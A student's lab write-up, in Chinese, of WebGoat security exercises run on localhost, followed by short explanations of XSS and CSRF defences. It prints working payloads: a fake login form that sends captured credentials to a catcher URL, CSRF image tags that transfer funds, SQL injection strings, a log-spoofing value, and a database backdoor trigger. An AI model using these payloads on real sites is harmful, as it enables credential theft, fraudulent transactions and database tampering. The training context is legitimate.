輸入java -jar webgoat-container-7.1-exec.jar
,來運行webgoat
java
在瀏覽器輸入localhost:8080/WebGoat
,進入WebGoat開始實驗
web
1.Phishing with XSS (網路釣魚)正則表達式
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
2.Stored XSS Attackssql
建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容,輸入標題,而後在message中輸入一串代碼,<script>alert("20155220 has no authority read it");</script>
數據庫
結果如圖:瀏覽器
3.Reflected XSS Attacks安全
<script>alert("20155220 has no authority change it");</script>
,就會彈出對話框:4.Cross Site Request Forgery(CSRF)服務器
寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,經過圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。咱們輸入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
cookie
如圖:session
5.CSRF Prompt By-Pass
<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=201552220" width="1" height="1">
localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155220
http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
,成功轉走了20155220元6.CSRF Token By-Pass
<iframe src="attack?Screen=803158781&menu=900&transferFunds=main" onload="readFrame1();"id="frame1" frameborder="1" marginwidth="0"marginheight="0"width="800" scrolling=yes height="300">
如圖:
7.Numeric SQL Injection
or 1=1
:8.Log Spoofing
20155220%0d%0aLogin Succeeded for username: admin
,其中%0d是回車,%0a是換行符9.String SQL Injection
' or 1=1 --
,點擊GO,能夠查看到因此信息:10.Database Backdoors
101
,獲得了該用戶的信息:101; update employee set salary=100000
,成功把該用戶的工資漲到了100000接下來建立一個後門,把表中全部的郵箱和用戶ID都設爲個人
輸入101;CREATE TRIGGER pyhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155220@stooges.com' WHERE userid = NEW.userid
攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。
瀏覽器自身能夠識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;從根本上說,解決辦法是消除網站的XSS漏洞,這就須要網站開發者運用轉義安全字符等手段。
攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情
經過referer、token或者驗證碼來檢測用戶提交;儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post操做;避免全站通用的cookie,嚴格設置cookie的域。